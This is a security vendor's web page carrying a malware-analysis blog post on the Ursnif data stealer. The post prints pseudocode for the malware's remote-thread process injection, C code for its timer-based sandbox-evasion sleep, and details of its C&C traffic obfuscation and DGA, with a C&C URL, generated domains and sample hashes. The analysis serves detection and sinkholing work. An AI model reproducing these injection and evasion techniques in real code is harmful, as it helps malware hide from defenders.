Attackers Are Already In Your Network

Are You Prepared To Stop Them Before They Succeed?

 

Do you know?

What you don't know?

Probably not...

40% of gateways fail

We can show you.

in 2 minutes or less

 

Unsplashed background img 1

Seculert Key Benefits & Features

 

Real World Threats, Exposed in 2 Minutes... Fixed in 5.

Seculert Javelin is the first inside-out attack simulation and remediation service that allows you to determine how well your secure web gateways (SWG), next-generation firewalls (NGFW), or proxy would do at preventing the latest, real world, malicious malware attacks from succeeding in communicating with their perpetrator’s command and control servers.

Javelin replicates the destination-based communication used by latest, real-world [active-trending] attacks to exfiltrate data. The test takes less than 2 minutes to complete and uses no actual malware.

Javelin also provides a Daily Fix to fill the gaps in gateway performance identified by the attack simulation. 

To learn how to use the Javelin’s Daily Fix to update your gateway and avoid falling victim to current real world attacks, click here.

find out more
 

Is Your Gateway Really Protecting You?

Your web gateway, NGFW, or proxy is designed to protect you from the effects of malware attacks that penetrate your network. But is it? Seculert Labs research consistently reveals that, as a category, gateway solutions miss 40% of malicious outbound communications and allow active attacks to communicate with their perpetrators.

Seculert Labs also found that when a gateway fails to block attack communication it permits a lot of data to escape the network. The average number of successful outbound communications per incident (or infected device) is more than 100.

Measured over time, nearly all of the gateways observed exhibited uneven performance. While most performed well for weeks or months, eventually all showed evidence of being “defeated” by the adversary.

To learn how to use the Javelin’s Daily Fix to update your gateway and avoid falling victim to current real world attacks, click here.
find out more
 

Empower Your Gateway to Contain Evasive Techniques

In a perfect world it would be possible to identify new attacks in real time before they infect any devices on a large network. In the real world, however, attacks are stealthy and designed to defeat even the most the modern prevention solutions. The attackers have also adopted “low and slow” propagation strategies to make their attacks even harder to detect. The challenge this creates for security teams is how to best complement their prevention strategies with effective containment.

Designers of evasive techniques are intimately familiar with the capabilities (and weaknesses) of current prevention and containment solutions and are using this knowledge to develop a whole new generation of evasive techniques.

These types of attacks can only be identified with sophisticated behavioral detection technologies based on superior anti-malware science and machine learning. Seculert Shield is designed to perform exactly this job and provide SOC teams with unique visibility into these techniques and provide the containment tools to stop them.
find out more

Latest From The Blog

Aug 30, 2016 4:23:13 PM

Ursnif: Deep Technical Dive

While attack tools around the world are stealthy and stay under the radar, we at Seculert examine many different malicious tools....

visit the blog

While attack tools around the world are stealthy and stay under the radar, we at Seculert examine many different malicious tools. This is done to stay at least one step ahead of the attackers, and improve our advanced analytics technology to detect their artistic evasive techniques.

In this blog I explain some of the core methods an attack tool named Ursnif uses, as well as mention some, probably unintentional, pieces of code that were left behind in the production version of the malware.

Ursnif is a data stealer and a downloader with a lot of abilities to steal data from installed browsers and other applications (such as Microsoft Outlook).

URSNIF-Severe-msft.png

Image: https://www.microsoft.com (Win32/Ursnif) 

In addition to stealing data, Ursnif also has the ability to download additional malicious components from the attacker’s Command & Control (C&C) servers and load them dynamically into memory. In this version of Ursnif I have also encountered an internal peer-to-peer communication which could possibly add the ability for the sample to communicate with other Ursnif peers over the same network. We will discuss the peer-to-peer part in a future blog post.

It All Begins With An Executable
When the Ursnif executable is first loaded, it will unpack the real payload. The real payload is packed by the attackers, because it helps keeping it undetected by security solutions which are based on a file signature.

After the real payload is unpacked, it will run in a hollowed process, and even at that stage of unpacking, the .BSS section is still obfuscated and will be de-xored on runtime before the malware will continue with the execution.

The bss section before and after dexoring it 
The bss section before and after dexoring it

Afterward, there is a simple check the malware authors left behind. If the file C:\321.txt exists, the checks for a virtualized environment are ignored. This was most probably developed in order to allow the attackers to test their tool on their own virtualized machines. Even though it is quite funny that the attackers left this piece of code in a production compilation, it might show how careless they are. Basically, if anyone else would like to test Ursnif on a virtual machine, they can just create a file with that name at that location and the malware will work properly with no need to change the virtual machine's configurations.
Next, the malware will make sure that all of the users on the machine are infected, by enumerating the registry root key HKU and for each user key, it will put an appropriate startup value, as well as the payload on each AppData folder of each user. Registry Keys used:

• HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run\
• HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData   
    ○ (Value equals the folder to be used for the malware, for example:  
        C:\Users\Administrator\Appdata\Roaming\")

After this procedure, we move on to the injection method.

And It Continues With Another Executable To Be Injected
In the second part, the malware will look for a legitimate process to run in its context. Running in a different process context allows the malware to bypass firewall rules which let some processes through without alerting or blocking them.

Internally, the malware calculates a unique checksum for each process name it finds, in order to obfuscate the processes into which it will try to inject itself. Instead of injecting to `explorer.exe` for example, a checksum will be calculated, resulting in something like 0x17F9B5AA. Then, it will check if that value matches a value from an internal list of checksums, and only if it exists in that list, it will begin the injection method on that process. 

Let's examine a pseudo code (as simple as possible) of how the first part of the injection looks:

/* Obtain the process pid to inject to */
dwPID = GetInjectProcess()

hProcess = OpenProcess(dwPID, ...)
pAddress = GetProcAddress("ntdll.dll", "RtlExitUserThread")

/* Create remote thread in suspended mode */
hThread = CreateRemoteThread(hProcess,                      /* Remote process handle */
                                                 CREATE_SUSPENDED,  /* creation flags */
                                                 pAddress,                          /* thread function address */
                                                  ...)

/* Read remote procedure first four bytes */
dwBackupData = ZwReadVirtualMemory(hProcess,  /* Remote process handle */
                                                              pAddress,       /* Address to read */
                                                              4,                    /* number of bytes to read */
                                                              ...)

/* Change address protection to `writable` */
VirtualProtectEx(   hProcess,                                           /* Remote process handle */
                             READ_WRITE_EXECUTE,                /* New protection flags */
                             pAddress,                                            /* Address to change protection on */
                             4,                                                         /* Size of address */
...)


ZwWriteVirtualMemory(hProcess,                                 /* Remote process handle */
                                    pAddress,                                   /* Address to overwrite */
                                    0xCCCCFEEB,                          /* Data to write */
                                    4,                                                /* Size of data */
                                    ...)

 

  • Open a handle to the desired process.
  • Get the address of ntdll!RtlExitUserThread function.
  • Create a remote suspended thread with the appropriate function.
  • Obtain the first four bytes of the function as a backup (because in the upcoming steps, they will be overwritten).
  • Before we overwrite the bytes, we must change the protection flags of the memory so it will be writable.
  • Write four bytes (DWORD)(0xCCCCFEEB). This is the interesting part, changing the original function prologue this way, will result in an infinite loop.

Let's examine the function before and after the changes:

Before

ntdll!RtlExitUserThread:
77dc1000 8bff            mov     edi,edi
77dc1002 55              push    ebp
77dc1003 8bec            mov     ebp,esp
77dc1005 83e4f8          and     esp,0FFFFFFF8h
77dc1008 81ecbc000000    sub     esp,0BCh

After

ntdll!RtlExitUserThread:
77dc1000 ebfe           jmp     ntdll!RtlExitUserThread (77dc1000)
77dc1002 cc              int     3
77dc1003 cc              int     3
77dc1004 ec              in      al,dx
77dc1005 83e4f8          and     esp,0FFFFFFF8h
77dc1008 81ecbc000000    sub     esp,0BCh


After the change, the new values assigned to the function prologue are translated to JMP <Short>, which is a two byte opcode. The first byte (0xEB) is what translated the processor to recognize it as a JMP opcode, and it will also expect the second byte to be the value of where to jump to (Relatively from the EIP at the end of the opcode). The second byte we have in this scenario is 0xFE, which translates to (-2). Jumping relatively from the end of the opcode (address 0x77dc1002) -2 bytes, will make the EIP get back to address 0x77dc1000, which is the same opcode again. This will result an infinite loop of one opcode. as you can see WinDBG translates it beautifully: 

77dc1000 ebfe           jmp     ntdll!RtlExitUserThread (77dc1000)

After this change, the thread is resumed until its EIP of the newly created thread reach the ntdll!RtlExitUserThread address, then the thread is set to suspended mode again. The reason all this procedure is happening is because when a thread is created, it doesn’t immediately start at the function given, it requires some initialization functions to be called first, so the original code is waiting for the initialization to complete and then it have a post initialized thread which it can take control of its EIP without worrying.

Thereafter the thread is suspended again, the function original 4 bytes are restored. The new PE itself is injected with NtCreateSection and NtMapViewOfSection, for mapping the new PE to the malware's memory ending with SetThreadContext which with that we are able to change the registers value, specifically EIP - to the new created entry point of the remote process following ResumeThread.

As we've seen before, attackers are building techniques into their tools in order to evade detection by security solutions. One of the techniques exploits sandbox weaknesses by using different sleeping mechanisms. Sandboxing solutions usually run malware samples only for about 2-3 minutes before they move on to the next sample they have in queue. The reason is simply because those kind of solutions are required to keep up with analyzing hundreds of thousands of samples every day. Therefore, for a sandbox time is a very precious resource. Basically, this means that if a malware can stay dormant for this period of time, the sandbox will not recognize its behavior as malicious and will move to the next sample in queue.

Ursnif has recently evolved and changed the sleeping mechanism, trying to evade detection through a unique sleeping API. Earlier versions used Sleep\WaitForSingleObject\WaitForMultipleObjects or similar APIs. Nowadays, a different method coming in hand, Relative sleeping using windows timers. Here is a code example of how to use the Timers API:

#include <windows.h>
#include <tchar.h>
/* Definitions */
#define SLEEP_TIME (5) /* In seconds */
/* Macros */
#define NANOSECONDS(nanos) \
(((signed __int64)(nanos)) / 100L)
#define MICROSECONDS(micros) \
(((signed __int64)(micros)) * NANOSECONDS(1000L))
#define MILLISECONDS(milli) \
(((signed __int64)(milli)) * MICROSECONDS(1000L))
#define SECONDS(seconds) \
(((signed __int64)(seconds)) * MILLISECONDS(1000L))
/* Enumerations */
typedef enum _E_CODE
{
        E_FAILURE = -1,
        E_SUCCESS = 0,
        E_TIMER_CREATION,
        E_SET_TIMER,
        E_WAIT_EVENT,
} E_CODE;
E_CODE SleepingMechanism(DWORD dwSleepTime)
{
        /* Initializations */
        HANDLE hTimer = NULL;
        E_CODE tRetVal = E_FAILURE;
        FILETIME ftSystemTime = { 0 };
        LARGE_INTEGER liSystemTime = { 0 };
        DWORD dwWaitResult = 0;
        /* Create unnamed timer */
        hTimer = CreateWaitableTimer(NULL, FALSE, NULL);
        if (NULL == hTimer)
        {
                _tprintf(TEXT("CreateWaitableTimer failure: [%d]\n"), GetLastError());
                tRetVal = E_TIMER_CREATION;
                goto lblCleanUp;
        }
        /* Get system time */
        GetSystemTimeAsFileTime(&ftSystemTime);
        /* Add relative time from current time to sleep */
        liSystemTime.HighPart = ftSystemTime.dwHighDateTime;
        liSystemTime.LowPart = ftSystemTime.dwLowDateTime;
        liSystemTime.QuadPart += SECONDS(dwSleepTime);
        /* Set timer with an absolute time to sleep */
        if (!SetWaitableTimer(hTimer, &liSystemTime, 0, NULL, NULL, FALSE))
        {
                _tprintf(TEXT("Failed creating waitable timer: [%d]"), GetLastError());
                tRetVal = E_SET_TIMER;
                goto lblCleanUp;
        }
        /* Waiting for the timer event*/
        _tprintf(TEXT("Sleeping for [%d] seconds\n"), dwSleepTime);
        dwWaitResult = WaitForSingleObject(hTimer, INFINITE);
        if (WAIT_OBJECT_0 != dwWaitResult)
        {
                _tprintf(TEXT("WaitForSingleObject failed: [%d]"), dwWaitResult);
                tRetVal = E_WAIT_EVENT;
        }
        /* Success */
        tRetVal = E_SUCCSES;
lblCleanUp:
        if (NULL != hTimer)
        {
                CloseHandle(hTimer);
                hTimer = NULL;
        }
return tRetVal;
}
INT _tmain(DWORD dwArgc, LPTSTR *lpszArgv)
{
        E_CODE tRetVal = E_FAILURE;

        tRetVal = SleepingMechanism(SLEEP_TIME);
        if (E_SUCCSES != tRetVal)
                _tprintf(TEXT("Failure: [%d]"), (DWORD)tRetVal);
        else
                _tprintf(TEXT("Success\n"));

        return 0;
}

 


The Additional Evasive Techniques and the DGA Flaw
Once the attacker tool is able to evade the sandbox, it will try to evade network security solutions which are based on communication pattern signatures. Let's examine two such evasive techniques:

Obfuscating the outbound traffic
The first data sent from the infected machine would start with the following string format:

soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x


After adding the values which represent the machine (will not be discussed in this blog post) to the format string, the malware will xor the original value and move on to base64 encoding. Thereafter removing the "=" padding.

W+WIpnoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwNBQ6dP+msKM1eHuJg8mb5vu2siAOn72yyGQxwIDyVrNC1VsGTgKilQ5n64xxRm4NMqJxQP8Mw

Then adding "/" at random offsets of the string, following with changing every unique letter (which doesn’t match [a-zA-Z0-9]) to its hexadecimal format starting with "_". For example the letter "+" hex representation is 2B, and the letter "/" hex representation is 2F, so the output will end up looking like:

W_2BWIpn_2FoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwN_2FBQ6dP_2BmsKM1eHuJg_2F8mb5vu2siAOn72yyGQxwIDyVrNC1VsGTgKilQ5n64xxRm4NMqJxQP8Mw

Finally, there is a second call to the function, adding the "/" slash character at random offsets and then the string is complete.

W_2BWIpn_2FoUOvyD3ExoGO/YmmDu0bmT8/a0IQc2p7qTZymZCHt/8eu27PEunoWs/t7LOJNxEVYB/inB9iwN_2FBQ6d/P_2BmsKM1eHuJg_2F8mb5/vu2siAOn72yyGQxw/IDyVrNC1VsGTgKilQ5n64xxRm4NMqJxQP/8Mw


This is sent to the C&C server with the following format:
"<Domain>/images/<CraftedBase64Url>.gif"
where the <Domain> will be chosen by the DGA algorithm, and the <CraftedBase64Url> is what we just created.

http://thiscrevmscllevelfak[.]club/images/W_2BWIpn_2FoUOvyD3ExoGO/YmmDu0bmT8/a0IQc2p7qTZymZCHt/8eu27PEunoWs/t7LOJNxEVYB/inB9iwN_2FBQ6d/P_2BmsKM1eHuJg_2F8mb5vu2siAOn72yyGQxw/IDyVrNC1VsGTgKi/lQ5n64xxRm4NMqJxQP/8Mw.gif

 

Domain Generation Algorithm (DGA)
When I first reverse engineered the DGA and tried to recreate it using Python, for some reason my code didn’t work as expected and I got different results compared to the actual domains used by the attackers. When I reversed everything slowly and made sure my code does exactly what it is supposed to – I found out that they have some logical flaw in the code. Whether this was intentional or not, I will let you be the judge. But I am pretty sure it was unintentional. Let's see what exactly is going on in there step by step:

Step One:
Download a predefined wordlist from an online text file.
In python that would be as easy as using urllib2.urlopen.

Step Two:
Obtain all the words that are at least 3 letters long. In python that would be: " re.findall("[a-zA-Z]{3,}", data) "

Step Three:
Add a null termination (0x00) after every word that matched, in the original buffer.

Step Four:
Override the original data with the matching words, after every word add space bar.
(Author comments: This is necessarily shorter than the original buffer so it should potentially work, but in general this is very bad code.)

Step Five:
Create the domain using the strings in the buffer list of Step Three.

Now, the problem exists at Step Four, let's take a look at the assembly:

To understand the problem better, let's have a dummy buffer to demonstrate the issue.

Match-Another se cu DEADBEEF le rt


Applying the regex from Step Two would result in the following word list:

["Match", "Another", "DEADBEEF"]


Adding the null termination on the original string will make it look like:

Match\x00Another\x00se cu DEADBEEF\x00le rt


After that, we are going to copy each of those strings, override the original buffer with them, and add a space bar right after. This should result the matching strings being one after another ordered in that buffer. However, the first copy is the reason for the problem. We are first of all copying the original word over itself using 'lstrcpy', resulting in the same buffer.

Match\x00Another\x00se cu DEADBEEF\x00le rt


But after that, we are using 'lstrcat' to add a space after the word. The MSDN documentation of `lstrcat` states: “lpString1 must be large enough to add lpString2 and the closing '\0',” which means that there are going to be two more bytes added! One of them is the space, and the other one is the null termination coming right after, resulting in the following problem:

Match \x00nother\x00se cu DEADBEEF\x00le rt


As you can see, it overwrote some of the next word, which will eventually make it “lose” one of the words in the list making the whole wordlist short by one essentially affecting all of the DGA.

(Author Comments: I believe the malware authors have no idea they have such a bug in their code because they are probably using the exact same piece of code to know which domains they should buy.)

After I successfully reversed the DGA algorithm and could recreate it myself, we sinkholed one of the generated domains for the next domains cycle, and managed to find pretty interesting statistics about this family over a period of 5 days:

 

DGA Characteristics  
Type Dictionary based
Seed Current date
Change frequency 5 days period
Domains per cycle 15
Top level domains .ru, .xyz, .club
Total infected machines 6,893

On the analyzed sample, the DGA's dictionary (word list) is generated from this url:
http://opensource.apple.com/source/Security/Security-29/SecureTransport/LICENSE.txt

The interesting part of this DGA is the fact it can change the file from which the wordlist is generated, thus making it very easy to create different versions of the DGA for different purposes.

An example of actual domains generated from the dictionary:

thiscrevmscllevelfak.club
levelignorethenind.ru
mtabaddresslocked.xyz
consseriflistyleleft.club
aresymbolparamspan.ru
respondslemsonmsonum.club
senddatalistenpython.xyz
numfalseandyspan.ru
maxsemihiddenmsosymbol.club
cllockedlevelnbsple.club
nbspserliststthelist.xyz
symbolcontacttype.ru
intoaddedprio.ru
stylesendnblisprestval.xyz
indentlspthatmcan.ru

Analyzed Samples:
9b38f10fd425b37115c81ad07598d930
b60c97d22f0ae301e916d61f79162b78
f50bd1585f601d41244c7e525b8bd96a

# # #

To see if Ursnif or other malware has bypassed your firewall rules or gateway without alerting you or blocking them altogether, we suggest you run the Seculert Javelin Simulation Test. You may be surprised what it finds hiding in most networks.

Unsplashed background img 2

news alert

What's New at Seculert

 

latest press

Apr 27, 2016 5:00:00 AM

Seculert’s Javelin Attack Simulator Reveals Serious Gaps in Organizations’ Perimeter Defenses

Santa Clara, Calif. – April 27, 2016 Seculert, the leader in attack detection and analytics, today announced new findings that 80 percent of secure web gateways installed by Fortune 1000 companies miss 80 percent of malicious outbound..

view more

in the news

eSecurityPlanet.com, July 15, 2016

Why Web Gateways Are Not Enough

Why can't web gateways fully protect you from attack and how can you maximize their performance? Learn more from Seculert CEO Richard Greene in this eSecurityPlanet article...

view more
 

“Deploying Seculert was like hiring three extra security analysts for a fraction of the cost, and these three never sleep!”

Richard Rushing, CISO, Motorola Mobility

Unsplashed background img 3

Contact Us

Unsplashed background img 2